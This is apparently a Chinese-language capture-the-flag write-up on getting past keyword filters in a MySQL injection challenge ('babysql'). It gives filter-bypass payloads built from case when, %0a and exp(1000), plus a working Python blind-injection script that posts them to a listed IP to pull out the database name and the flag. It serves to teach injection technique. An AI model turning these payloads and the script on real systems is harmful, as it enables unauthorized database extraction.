記一次MySQL注入繞過
VSole2021-10-07 17:19:49
SQL注入類型判斷
某朋友比賽中讓幫忙看的一道題目,如下
查看源碼發現提示

存在過濾且,limit參數只能為單個數字 
fuzz一下sql注入關鍵字看看都過濾了哪些字符 


直接在class參數插入exp(100)回顯正常,插入exp(1000)發現返回database error;說明此處sql注入可直接插入執行,其次如果sql語句執行錯誤會返回報錯提示;
繞過
那么就可以做布爾盲注了,但是比較棘手的是過濾了逗號,;不能使用if進行條件判斷;繞過逗號的方法from x for y不能在if中使用。if無法使用可以用case when [express] then [x] else [y] end代替空格繞過可以使用括號()或者%0a=、like、regexp被過濾可以用in(不過in對字符大小寫不敏感)
class=case%0awhen%0a(2)in(1)%0athen%0aexp(1000)else%0a1%0aend&limit=4


利用腳本編寫
from urllib.parse import urlencodefrom urllib.parse import unquoteimport requests
burp0_url = "http://123.60.32.152:80/"burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}all_str = "0123456789abcdefghijklmnopqrstuvwxyz!\"#$%&\\'()*+,-./:;<=>?@[\\]^_`{|}~"
flag = ''for leng in range(1,50): for char in all_str: payload = "case%0awhen%0amid(database()from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:]) #payload = "case%0awhen%0amid((select%0aflag%0afrom%0aflag)from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:]) burp0_data = {"class": unquote(payload), "limit": "4"} resp = requests.post(burp0_url, headers=burp0_headers, data=urlencode(burp0_data)) if 'error' in resp.text: flag += char print(flag) else: continue # print(resp.text) # print(resp.request.body)

到數據名稱:babysql 直接按照前面的提示查flag
VSole
網絡安全專家